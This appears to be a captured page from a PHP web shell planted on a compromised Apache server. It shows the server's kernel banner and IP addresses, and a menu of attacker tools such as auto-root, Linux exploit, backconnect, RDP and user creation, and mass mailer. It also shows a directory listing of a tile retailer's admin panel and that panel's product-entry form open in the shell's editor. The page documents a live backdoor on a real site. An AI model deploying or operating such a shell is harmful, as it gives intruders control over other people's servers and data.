Linux ip-172-26-5-244 6.1.0-28-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22) x86_64
Apache
: 172.26.5.244 | : 216.73.216.21
Cant Read [ /etc/named.conf ]
8.3.14
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
bitnami /
apache /
htdocs /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
ajax
[ DIR ]
drwxr-xr-x
app-assets
[ DIR ]
drwxr-xr-x
include
[ DIR ]
drwxr-xr-x
module
[ DIR ]
drwxr-xr-x
PhpXlsxGenerator.php
54.22
KB
-rw-r--r--
ad_contact_details.php
14.65
KB
-rw-r--r--
add_360_category.php
4.56
KB
-rw-r--r--
add_360_products.php
7.11
KB
-rw-r--r--
add_application.php
5.06
KB
-rw-r--r--
add_blogs.php
8.72
KB
-rw-r--r--
add_brands.php
6.56
KB
-rw-r--r--
add_catalogues.php
7.02
KB
-rw-r--r--
add_collections.php
12.59
KB
-rw-r--r--
add_division.php
8.29
KB
-rw-r--r--
add_effects.php
4.95
KB
-rw-r--r--
add_events.php
10.41
KB
-rw-r--r--
add_gallery.php
8.79
KB
-rw-r--r--
add_main_event.php
8.63
KB
-rw-r--r--
add_multiple_products.php
10.54
KB
-rw-r--r--
add_products.php
28.81
KB
-rw-r--r--
add_series.php
7.45
KB
-rw-r--r--
add_thickness.php
6.63
KB
-rw-r--r--
all_360_category.php
9.63
KB
-rw-r--r--
all_360_products.php
7.63
KB
-rw-r--r--
all_application.php
10.43
KB
-rw-r--r--
all_blogs.php
10.91
KB
-rw-r--r--
all_brands.php
7.07
KB
-rw-r--r--
all_catalogues.php
10.05
KB
-rw-r--r--
all_collections.php
7.01
KB
-rw-r--r--
all_division.php
7.38
KB
-rw-r--r--
all_effects.php
10.26
KB
-rw-r--r--
all_events.php
10.29
KB
-rw-r--r--
all_gallery.php
10.48
KB
-rw-r--r--
all_main_events.php
10
KB
-rw-r--r--
all_products.php
18.18
KB
-rw-r--r--
all_products_new.php
13.4
KB
-rw-r--r--
all_series.php
10.23
KB
-rw-r--r--
all_sub_collections.php
7.4
KB
-rw-r--r--
all_sub_division.php
7.76
KB
-rw-r--r--
all_thickness.php
7.64
KB
-rw-r--r--
divisions.php
486
B
-rw-r--r--
edit_360_category.php
5.04
KB
-rw-r--r--
edit_360_products.php
7.9
KB
-rw-r--r--
edit_application.php
5.88
KB
-rw-r--r--
edit_blogs.php
9.46
KB
-rw-r--r--
edit_brands.php
7.4
KB
-rw-r--r--
edit_catalogue.php
7.95
KB
-rw-r--r--
edit_collections.php
16.95
KB
-rw-r--r--
edit_gallery.php
8.85
KB
-rw-r--r--
edit_main_events.php
9.79
KB
-rw-r--r--
edit_product.php
35.18
KB
-rw-r--r--
edit_series.php
8.98
KB
-rw-r--r--
edit_sub_collections.php
17.26
KB
-rw-r--r--
edit_sub_event.php
10.73
KB
-rw-r--r--
edit_thickness.php
7.58
KB
-rw-r--r--
export_excel.php
4.21
KB
-rw-r--r--
functions.php
523
B
-rw-r--r--
index.php
3.77
KB
-rw-r--r--
login.php
6.83
KB
-rw-r--r--
logout.php
92
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : add_products.php
<?php include( "include/header.php"); ?> <div class="main-panel"> <!-- BEGIN : Main Content--> <div class="main-content"> <div class="content-wrapper"> <!-- Basic form layout section start --> <section id="basic-form-layouts"> <div class="row"> <div class="col-sm-12"> <div class="content-header">Products Management</div> </div> </div> <?php if($_SERVER['QUERY_STRING'] == "success") { echo '<div class="alert alert-primary mb-2" role="alert"> <strong>Success!</strong> New Porduct has been added.</div>'; } if($_SERVER['QUERY_STRING'] == "err") { echo '<div class="alert alert-warning mb-2" role="alert"> <strong>Warning!</strong> Please check details. </div>'; } ?> <form name="myform" action="#" method="POST" onsubmit="return false;" enctype="multipart/form-data"> <div class="row"> <div class="col-md-6"> <div class="card"> <div class="card-header"> <h4 class="card-title" id="basic-layout-form">Add Products</h4> </div> <div class="card-content"> <div class="px-3"> <div class="form-body"> <!-- <h4 class="form-section"></h4> --> <br> <div class="row"> <div class="col-md-4"> <div class="form-group"> <label for="collection_id">Select Collection</label> <select id="collection_id" name="collection_id" class="form-control"> <option value="0" selected="" disabled="">-- Select Collection --</option> <?php $sel_query="Select * from tbl_collection where parent_id = 0 and visibility = 1"; $result = mysqli_query($conn,$sel_query); while($row= mysqli_fetch_assoc($result)) { ?> <option value="<?= $row['collection_id']; ?>"><?= $row['collection_name']; ?></option> <?php } ?> </select> </div> </div> <div class="col-md-4"> <div class="form-group"> <label for="surface_id">Select Series</label> <select id="surface_id" name="surface_id" class="form-control"> <option value="0">-- Select Series --</option> </select> </div> </div> <div class="col-md-4"> <div class="form-group"> <label for="old_series_id">Select OLD Series</label> <select id="old_series_id" name="old_series_id" class="form-control"> <option value="0">-- Select OLD Series --</option> </select> </div> </div> </div> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label for="size_id">Select Size</label> <select id="size_id" name="size_id" class="form-control"> <option value="0" selected="" disabled="">-- Select Size --</option> </select> </div> </div> <div class="col-md-6"> <div class="form-group"> <label for="finish_id">Select Finish</label> <select id="finish_id" name="finish_id" class="form-control"> <option value="0" selected="" disabled="">-- Select Finish --</option> </select> </div> </div> </div> <div class="row"> <div class="col-md-4"> <div class="form-group"> <label for="size_1">Size 1</label> <input type="text" id="size_1" class="form-control" name="size_1" placeholder="Product Size 1"> </div> </div> <div class="col-md-4"> <div class="form-group"> <label for="size_2">Size 2</label> <input type="text" id="size_2" class="form-control" name="size_2" placeholder="Product Size 2"> </div> </div> <div class="col-md-4"> <div class="form-group"> <label for="size_3">Size 3</label> <input type="text" id="size_3" class="form-control" name="size_3" placeholder="Product Size 3"> </div> </div> </div> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label for="extra_finishes">Series Name</label> <input type="text" id="extra_finishes" class="form-control" name="extra_finishes" placeholder="Enter Series Name here"> </div> </div> <div class="col-md-6"> <div class="form-group"> <label for="360_link">360 Link</label> <input type="text" id="360_link" class="form-control" name="360_link" placeholder="Enter 360 link here"> </div> </div> </div> <div class="row"> <div class="col-md-4"> <div class="form-group"> <label for="prod_name">Product Name</label> <input type="text" id="prod_name" class="form-control" name="prod_name" placeholder="Product name"> </div> </div> <div class="col-md-4"> <div class="form-group"> <label for="prod_title">Product Slug Name</label> <input type="text" id="prod_title" class="form-control" name="prod_title" placeholder="Product slug name" disabled> </div> </div> <div class="col-md-4"> <div class="form-group"> <label for="projects">For projects only</label> <select id="projects" name="projects" class="form-control"> <option value="0" selected="" disabled="">-- Project --</option> <option value="Yes">Yes</option> <option value="No">No</option> </select> </div> </div> </div> <div class="row"> <div class="col-md-3"> <div class="form-group"> <label for="body">Type / Body</label> <input class="form-control border-primary" type="text" id="body" name="body" placeholder="Type / Body"> </div> </div> <div class="col-md-3"> <div class="form-group"> <label for="tiles_features">Tiles & Feature</label> <input class="form-control border-primary" type="email" id="tiles_features" name="tiles_features" placeholder="Tiles & Features"> </div> </div> <div class="col-md-3"> <div class="form-group"> <label for="color">Color</label> <input class="form-control border-primary" type="email" id="color" name="color" placeholder="Tiles color"> </div> </div> <div class="col-md-3"> <div class="form-group"> <label for="bookmatch">Bookmatch</label> <select id="bookmatch" name="bookmatch" class="form-control"> <option value="0" selected="" disabled="">-- Available --</option> <option value="Yes">Yes</option> <option value="No">No</option> </select> </div> </div> </div> <h4 class="form-section"><i class="ft-file-text"></i>Packaging Details</h4> <div class="row"> <div class="col-md-4"> <div class="form-group"> <label for="thickness">Thickness</label> <input class="form-control border-primary" type="email" id="thickness" name="thickness" placeholder="Enter Thickness"> </div> </div> <div class="col-md-4"> <div class="form-group"> <label for="packing">Packing</label> <input class="form-control border-primary" type="email" id="packing" name="packing" placeholder="Tiles Packing"> </div> </div> <div class="col-md-4"> <div class="form-group"> <label for="weight">Weight</label> <input class="form-control border-primary" type="email" id="weight" name="weight" placeholder="Body"> </div> </div> </div> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label for="sq_mtr_box">Sq.Mtr/Box</label> <input class="form-control border-primary" type="email" id="sq_mtr_box" name="sq_mtr_box" placeholder="Square Meter per box"> </div> </div> <div class="col-md-6"> <div class="form-group"> <label for="sq_ft_box">Sq.Ft./Box</label> <input class="form-control border-primary" type="email" id="sq_ft_box" name="sq_ft_box" placeholder="Square fit per box"> </div> </div> </div> <h4 class="form-section"><i class="ft-file-text"></i>Application</h4> <div class="row"> <?php $sel_query="Select * from tbl_application"; $result = mysqli_query($conn,$sel_query); while($row= mysqli_fetch_assoc($result)) { ?> <div class="col-md-3"> <div class="form-group"> <div class="custom-control custom-checkbox custom-control-inline mb-3"> <input type="checkbox" id="chk_application_<?= $row['application_id']; ?>" name="chk_application[]" class="custom-control-input chk_application" value="<?= $row['application_name']; ?>"> <label class="custom-control-label" for="chk_application_<?= $row['application_id']; ?>"><?= $row['application_name']; ?></label> </div> </div> </div> <?php } ?> </div> </div> </div> </div> </div> </div> <div class="col-md-6"> <div class="card"> <div class="card-content"> <div class="px-3"> <div class="form-body"> <br> <h4 class="form-section"><i class="ft-file-text"></i>Effects</h4> <div class="row"> <?php $sel_query="Select * from tbl_effects"; $result = mysqli_query($conn,$sel_query); while($effects= mysqli_fetch_assoc($result)) { ?> <div class="col-md-3"> <div class="form-group"> <div class="custom-control custom-checkbox custom-control-inline mb-3"> <input type="checkbox" id="chk_effect_<?= $effects['effect_id']; ?>" name="chk_effect[]" class="custom-control-input chk_effect" value="<?= $effects['effect_name']; ?>"> <label class="custom-control-label" for="chk_effect_<?= $effects['effect_id']; ?>"><?= $effects['effect_name']; ?></label> </div> </div> </div> <?php } ?> </div> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label>Tile Image</label> <input type="file" class="form-control-file" id="prod_image2" name="prod_image2"> </div> </div> <div class="col-md-6"> <div class="form-group"> <label>Preview Image</label> <input type="file" class="form-control-file" id="prod_image" name="prod_image"> </div> </div> </div> <hr> <div class="row"> <div class="col-md-4"> <div class="form-group"> <label>Random Tile 1</label> <input type="file" class="form-control-file" id="image1" name="image1"> </div> </div> <div class="col-md-4"> <div class="form-group"> <label>Random Tile 2</label> <input type="file" class="form-control-file" id="image2" name="image2"> </div> </div> <div class="col-md-4"> <div class="form-group"> <label>Random Tile 3</label> <input type="file" class="form-control-file" id="image3" name="image3"> </div> </div> </div> <div class="row"> <div class="col-md-4"> <div class="form-group"> <label>Random Tile 4</label> <input type="file" class="form-control-file" id="image4" name="image4"> </div> </div> <div class="col-md-4"> <div class="form-group"> <label>Random Tile 5</label> <input type="file" class="form-control-file" id="image5" name="image5"> </div> </div> <div class="col-md-4"> <div class="form-group"> <label>Random Tile 6</label> <input type="file" class="form-control-file" id="image6" name="image6"> </div> </div> </div> <div class="row"> <div class="col-md-12"> <div class="form-group"> <label for="random_image">Multiple Product Image</label> <input type="file" id="random_image" class="form-control-file" name="random_image[]" multiple> </div> </div> </div> <div class="row"> <div class="col-md-12"> <div class="form-group"> <label for="prod_description">Product Descriptions</label> <textarea id="prod_description" rows="5" class="form-control" name="prod_description" placeholder="Product Description"></textarea> </div> </div> </div> <h4 class="form-section"><i class="ft-file-text"></i>SEO - Meta and Descriptions</h4> <div class="row"> <div class="col-md-12"> <div class="form-group"> <label for="prod_meta">Meta Tags <br>(please seprate each tag with ",")</label> <input class="form-control border-primary" type="text" id="prod_meta" name="prod_meta" placeholder="word1, word2, word3"> </div> </div> <div class="col-md-12"> <div class="form-group"> <label for="prod_meta_desc">SEO Descriptions</label> <textarea id="prod_meta_desc" rows="5" class="form-control" name="prod_meta_desc" placeholder="SEO Description"></textarea> </div> </div> </div> <div class="form-group"> <label>Visibility</label> <div class="input-group"> <div class="custom-control custom-radio custom-control-inline"> <input type="radio" id="show" name="visibility" class="custom-control-input" value="1" checked> <label class="custom-control-label" for="show">Show</label> </div> <div class="custom-control custom-radio custom-control-inline"> <input type="radio" id="hide" name="visibility" class="custom-control-input" value="0"> <label class="custom-control-label" for="hide">Hide</label> </div> </div> </div> </div> <div class="form-actions right"> <button type="button" class="btn btn-raised btn-primary add_product"> <i class="fa fa-check-square-o"></i> Save </button> <button type="reset" class="btn btn-raised btn-warning mr-1"> <i class="ft-x"></i> Cancel </button> </div> </div> </div> </div> </div> </div> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7/jquery.min.js"></script> <script> $(".add_product").click(function(){ var err_txt = 0; if(err_txt==0) { $("#overLay").show(); var m_data = new FormData(); m_data.append( 'collection_id', $( "#collection_id option:selected" ).val()); m_data.append( 'surface_id', $( "#surface_id option:selected" ).val()); m_data.append( 'size_id', $( "#size_id option:selected" ).val()); m_data.append( 'old_series_id', $( "#old_series_id option:selected" ).val()); m_data.append( 'finish_id', $( "#finish_id option:selected" ).val()); m_data.append( 'extra_finishes', $('input[name=extra_finishes]').val()); m_data.append( 'size_1', $('input[name=size_1]').val()); m_data.append( 'size_2', $('input[name=size_2]').val()); m_data.append( 'size_3', $('input[name=size_3]').val()); m_data.append( 'prod_name', $('input[name=prod_name]').val()); m_data.append( 'prod_title', $('input[name=prod_title]').val()); m_data.append( 'projects', $( "#projects option:selected" ).val()); m_data.append( 'body', $('input[name=body]').val()); m_data.append( 'tiles_features', $('input[name=tiles_features]').val()); m_data.append( 'bookmatch', $( "#bookmatch option:selected" ).val()); m_data.append('chk_application', $('.chk_application:checked').map(function() {return this.value;}).get().join(',')); m_data.append('chk_effect', $('.chk_effect:checked').map(function() {return this.value;}).get().join(',')); m_data.append( 'color', $('input[name=color]').val()); m_data.append( 'thickness', $('input[name=thickness]').val()); m_data.append( 'packing', $('input[name=packing]').val()); m_data.append( 'weight', $('input[name=weight]').val()); m_data.append( 'sq_mtr_box', $('input[name=sq_mtr_box]').val()); m_data.append( 'sq_ft_box', $('input[name=sq_ft_box]').val()); m_data.append( 'prod_description', $('textarea[name=prod_description]').val()); m_data.append( 'prod_meta', $('input[name=prod_meta]').val()); m_data.append( 'prod_meta_desc', $('textarea[name=prod_meta_desc]').val()); m_data.append( 'visibility', $('input[name=visibility]:checked').val()); m_data.append( 'prod_image', $('input[name=prod_image]')[0].files[0]); m_data.append( 'prod_image2', $('input[name=prod_image2]')[0].files[0]); m_data.append( 'image1', $('input[name=image1]')[0].files[0]); m_data.append( 'image2', $('input[name=image2]')[0].files[0]); m_data.append( 'image3', $('input[name=image3]')[0].files[0]); m_data.append( 'image4', $('input[name=image4]')[0].files[0]); m_data.append( 'image5', $('input[name=image5]')[0].files[0]); m_data.append( 'image6', $('input[name=image6]')[0].files[0]); m_data.append( '360_link', $('input[name=360_link]').val()); $.ajax({ url: 'ajax/aj_add_product.php', type:'POST', data: m_data, processData: false, contentType: false, success: function(res) { $("#spnmsg").html(res); $("#overLay").hide(); $("#multipleFile").val(""); if(res == "success") { location.href = "add_products.php?success"; } if(res == "err") { location.href = "add_products.php?err"; } } }); } }); </script> </form> </section> <!-- // Basic form layout section end --> </div> </div> <!-- END : End Main Content--> <?php include( "include/footer.php"); ?> <script> $(document).ready(function() { $('#upload_csv_form').on("submit", function(e){ e.preventDefault(); //form will not submitted $.ajax({ url:"ajax/upload.php", method:"POST", data:new FormData(this), contentType:false, // The content type used when sending data to the server. cache:false, // To unable request pages to be cached processData:false, // To send DOMDocument or non processed data file it is set to false success: function(data){ if(data=='Error1') { alert("Invalid File"); } else if(data == "Error2") { alert("Please Select File"); } else if(data == "Success") { alert("CSV file data has been imported"); $('#upload_csv_form')[0].reset(); } else { // $('#employee_table').html(data); } } }) }); $('#prod_name').keyup(function() { var oneValue = $("[name='prod_name']").val().replace(/ /g,'-'); $('#prod_title').val(oneValue); }); $("#collection_id").change(function() { var collection_id = $(this).val(); if(collection_id != "") { $.ajax({ url:"ajax/aj_get_surface.php", data:{c_id:collection_id}, type:'POST', success:function(response) { var resp = $.trim(response); $("#surface_id").html(resp); } }); } else { $("#surface_id").html("<option value=''>--select Surface--</option>"); } }); $("#collection_id").change(function() { var collection_id = $(this).val(); if(collection_id != "") { $.ajax({ url:"ajax/aj_get_old_series.php", data:{c_id:collection_id}, type:'POST', success:function(response) { var resp = $.trim(response); $("#old_series_id").html(resp); } }); } else { $("#old_series_id").html("<option value=''>--select OLD Series--</option>"); } }); }); $(document).ready(function() { $("#collection_id").change(function() { var surface_id = $(this).val(); //alert(surface_id); if(surface_id != "") { $.ajax({ url:"ajax/aj_get_size.php", data:{s_id:surface_id}, type:'POST', success:function(response) { var resp = $.trim(response); $("#size_id").html(resp); } }); } else { $("#size_id").html("<option value=''>--select Collection--</option>"); } }); }); $(document).ready(function() { $("#size_id").change(function() { var finish_id = $(this).val(); //alert(finish_id); if(finish_id != "") { $.ajax({ url:"ajax/aj_get_finish.php", data:{f_id:finish_id}, type:'POST', success:function(response) { var resp = $.trim(response); $("#finish_id").html(resp); } }); } else { $("#finish_id").html("<option value=''>--select Collection--</option>"); } }); }); </script>
Close